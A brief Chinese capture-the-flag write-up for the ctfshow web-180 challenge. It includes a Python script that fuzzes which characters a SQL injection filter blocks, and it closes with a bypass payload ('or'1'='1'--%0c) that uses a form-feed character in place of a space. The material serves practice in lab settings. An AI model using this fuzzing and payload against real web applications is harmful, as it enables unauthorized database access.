ctfshow web-180

过滤的东西不多,可以手测测出来

这里给出一个fuzz脚本

import requests
import re

com = re.compile("admin")
def repisTrue(char):
    url = f"http://自己环境的网址/api/?id=1%27and%27{char}%27=%27{char}&page=1&limit=10"
    res = requests.get(url)
    w = com.search(res.text)
    if w is not None:
        return True
    return False

if __name__ == '__main__':
    all = []
    no = []
    for i in range(1,128):
        if repisTrue(chr(i)):
            all.append((i,chr(i)))
        else:
            no.append((i,chr(i)))
    print("all:",all)
    print("no:",no)


这里是运行结果
 

看得出来,%09,%0a,%0b,%0d,空格这些都让过滤了

这里用 %0c

payload:'or'1'='1'--%0c